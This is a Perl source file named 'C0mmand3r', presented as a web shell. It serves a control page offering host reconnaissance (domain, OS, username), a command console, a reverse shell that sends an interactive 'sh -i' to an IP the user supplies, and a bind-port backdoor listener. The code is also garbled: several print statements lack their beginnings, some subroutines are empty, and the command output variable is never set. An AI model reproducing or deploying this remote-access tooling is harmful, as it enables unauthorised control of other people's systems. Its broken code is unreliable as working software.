#!usr/bin/perl
#
#C0mmand3r (C) Doddy HAckman 2012
#Version 0.3
#
#A simple WebShell in Perl
#
#
use IO::Socket;
use CGI;
use Cwd;
use Win32;
my $port = rep();
sub rep {
unless ( $ARGV[0] ) {
}
else {
}
}
print "\n\n#########################################\n\n"; print "C0mmand3r (C) Doddy HAckman 2012\n\n\n"; print "[+] Starting the webshell on port $port\n\n"; print "#########################################\n\n";
my $sock = new IO::Socket::INET(
LocalHost => 'localhost',
LocalPort => $port,
Proto => 'tcp',
Listen => SOMAXCONN,
Reuse => 1
);
while ( $jebus = $sock->accept() ) {
print $jebus "HTTP/1.1 200/OK\r\nContent-type:text/html\r\n\r\n";
#print $jebus "HTTP/1.1 200/OK\r\nContent-type:application/w-www-form-urlencoded\r\n\r\n";
while ( $response = <$jebus> ) {
my %rta;
if ( $response =~ /GET/ig ) {
capturar($response);
}
sub capturar {
if ( $aa =~ /GET \/(.*) HTTP\/1.1/ig ) {
my $todo = $1;
if ( $todo =~ /\?(.*)=(.*)&(.*)=(.*)/ig ) {
$rta{$1} = $2;
$rta{$3} = $4;
}
if ( $todo =~ /\?(.*)=(.*)/ig ) {
$rta{$1} = $2;
}
}
}
<style type=text/css>
.main {
margin : -287px 0px 0px -490px;
border : White solid 1px;
BORDER-COLOR: #00FF00;
}
#pie {
position: absolute;
bottom: 0;
}
body,a:link {
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
background-color: #000000;
color:#00FF00;
Courier New;
cursor:crosshair;
font-size: small;
}
input,table.outset,table.bord,table,textarea,select,fieldset {
background-color:black;color:#00FF00;
border: solid 1px #00FF00;
border-color:#00FF00
}
a:link,a:visited,a:active {
color: #00FF00;
font: normal 16px Verdana, Arial, Helvetica,
sans-serif;
text-decoration: none;
}
</style>
";
if ( $rta{'info'} ) {
info();
print $jebus "<center><br><br><b>IP : </b>" . get_ip
() . "<br>"; print $jebus "<center><br><br><b>Domain : </b>" . Win32::DomainName() . "<br>";
print $jebus "<b>Chip : </b>" . Win32
::GetChipName() . "<br>"; print $jebus "<b>OS : </b>" . Win32
::GetOSName() . "<br>"; print $jebus "<b>Version : </b>" . Win32
::GetOSVersion() . "<br>"; print $jebus "<b>User : </b>" . Win32::LoginName()
. "<br><br></center>";
copyright();
}
elsif ( $rta{'console'} ) {
logouno();
<br><br><center>
<form action='' method=GET>
Command : <input type=text name=cmd value=ver><input type=submit value=Execute>
</center></form><br><br>
";
copyright();
}
elsif ( $rta{'cmd'} ) {
logouno();
$lucha = $rta{'cmd'};
print $jebus "<br><br><center><fieldset>"; $lucha =~ s/\+/ /;
print $jebus "<br>[+] Command : <b>$lucha</b><br><br>"; print $jebus "</center></fieldset>"; copyright();
}
elsif ( $rta{'reverse'} ) {
logodos();
<center>
<br><br><b>ReverseShell</b><br><br>
<form action='' method=GET>
<b>Your IP</B> : <input type=text name=ipconnect value=localhost><br>
<b>Port</b> : <input type=text name=port value=666><br>
<br><input type=submit value=Connect></form><br><br>
</center>
);
copyright();
}
elsif ( $rta{'ipconnect'} ) {
conectar( $rta{'ipconnect'}, $rta{'port'} );
tipo();
sub conectar {
connect( REVERSE
, sockaddr_in
( $_[1], inet_aton
( $_[0] ) ) ); open( STDIN, ">&REVERSE" ); open( STDOUT, ">&REVERSE" ); open( STDERR, ">&REVERSE" ); }
sub tipo {
print "\n[*] Reverse Shell Starting...\n\n"; if ( $^O =~ /Win32/ig ) {
infowin();
}
else {
infolinux();
#root();
system("export TERM=xterm;exec sh -i"); }
}
sub infowin {
print "[+] Domain Name : " . Win32
::DomainName() . "\n"; print "[+] OS Version : " . Win32
::GetOSName() . "\n"; print "[+] Username : " . Win32
::LoginName() . "\n\n\n"; }
sub infolinux {
print "[+] System information\n\n"; }
}
elsif ( $rta{'backdoor'} ) {
logotres();
<center>
<br><br><b>BindPort</b><br><br>
<form action='' method=GET>
<b>Port</b> : <input type=text name=portbind value=666><br>
<br><input type=submit value=Bind></form><br><br>
</center>
);
copyright();
}
elsif ( $rta{'portbind'} ) {
$backdoor = IO::Socket::INET->new(
Proto => 'tcp',
LocalPort => $rta{'portbind'},
Listen => SOMAXC,
Reuse => 1
);
while ( $jesus = $backdoor->accept() ) {
$jesus->autoflush(1);
"[*] Heaven_Door Online\n[*] Port : 25256\n[*] PID : "
. $$ . "\n\n";
print $jesus "Welcome " . $jesus->peerhost . "\n\n"; &extras;
$dir = getcwd();
print $jesus $dir . ">>"; while (<$jesus>) {
print $jesus "\n\n" . $yeah . "\n\n"; print $jesus $dir . ">>"; }
}
sub extras {
if ( $^O =~ //ig ) {
print $jesus "[+] Domain Name : " . Win32::DomainName() . "\n";
print $jesus "[+] OS Version : " . Win32::GetOSName() . "\n";
print $jesus "[+] Username : " . Win32::LoginName()
. "\n\n\n";
}
else {
print $jesus "--==System Info==--\n\n" . $s; }
}
}
elsif ( $rta{'about'} ) {
about();
<pre><center>
¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾
¾¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾
¾¾¾ ¾¾¾ ¾¾¾ ¾¾¾
¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾
¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾ ¾ ¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾¾
¾ ¾¾¾¾¾¾¾¾¾¾ ¾
¾ ¾ ¾¾¾¾ ¾ ¾
¾ ¾¾ ¾¾
¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾
¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾ ¾¾¾ ¾¾¾¾¾¾¾¾¾
¾¾¾ ¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾ ¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾
¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾
¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾¾¾
¾¾¾¾¾¾¾¾ ¾¾¾¾¾¾¾¾
¾¾¾¾¾¾ ¾¾¾¾¾¾
¾¾¾¾ ¾¾¾¾
</pre></center>
);
copyright();
}
else {
<title>Commander 0.3 (C) Doddy Hackman 2012</title>
<br><br>
<h1><center>Commander</center></h1>
<br><br>
<center>
<table border=1>
<td class=main><center><b>Tools</b></center></td><tr>
<td class=main><a href=?info=true><center>Information</center></a></td><tr>
<td class=main><a href=?console=true><center>Console</center></a></td><tr>
<td class=main><a href=?backdoor=true><center>Backdoor</center></a></td><tr>
<td class=main><a href=?reverse=true><center>ReverseShell</center></a></td><tr>
<td class=main><a href=?about=true><center>About</center></a></td>
</table>
</center>
";
copyright();
}
$jebus->close;
}
}
continue {
$jebus->close;
}
sub logouno {
<pre><center>
@@@@@@@@ @@
@@ @@ @@
@@ @@
@@ @@@@@@ @@ @@@@ @@@@ @@@@@@ @@ @@@@@@
@@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@@@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@ @@@@@@ @@ @@ @@@@ @@@@@@ @@ @@@@@@
</pre></center>
);
}
sub logodos {
<pre><center>
@@@@@@@@@@
@@ @@
@@ @@
@@ @@ @@@@@@ @@ @@ @@@@@@ @@@@ @@@@ @@@@@@
@@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@@@@@@@@@ @@ @@ @@@@@@@@@@ @@ @@ @@@@@@@@@@
@@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@@@@@ @@ @@@@@@ @@ @@@@ @@@@@@
</pre></center>
);
}
sub logotres {
<pre><center>
@@@@@@@@ @@ @@
@@ @@ @@ @@
@@ @@ @@ @@
@@ @@ @@@@@@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ @@@@@@ @@@@
@@@@@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@@@@@@@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@ @@@@@@@@ @@@@@@ @@ @@ @@@@@@@@ @@@@@@ @@@@@@ @@
</pre></center>
);
}
sub about {
<pre><center>
@@ @@
@@ @@ @@
@@ @@ @@ @@
@@ @@ @@@@@@@@ @@@@@@ @@ @@ @@@@
@@ @@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@@ @@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@ @@@@ @@
@@ @@ @@@@@@@@ @@@@@@ @@@@ @@ @@
</pre></center>
);
}
sub info {
<pre><center>
@@ @@ @@ @@@@@@@@@@ @@@@@@@@
@@ @@@@ @@ @@ @@ @@
@@ @@@@ @@ @@ @@ @@
@@ @@ @@ @@ @@ @@ @@
@@ @@ @@ @@ @@@@@@@@ @@ @@
@@ @@ @@ @@ @@ @@ @@
@@ @@ @@@@ @@ @@ @@
@@ @@ @@@@ @@ @@ @@
@@ @@ @@ @@ @@@@@@@@
</pre></center>
);
}
sub get_ip {
}
sub copyright {
"<br><br><br><br><center><h1>Coded By Doddy H</h2></center><br><br>";
}
# The End ?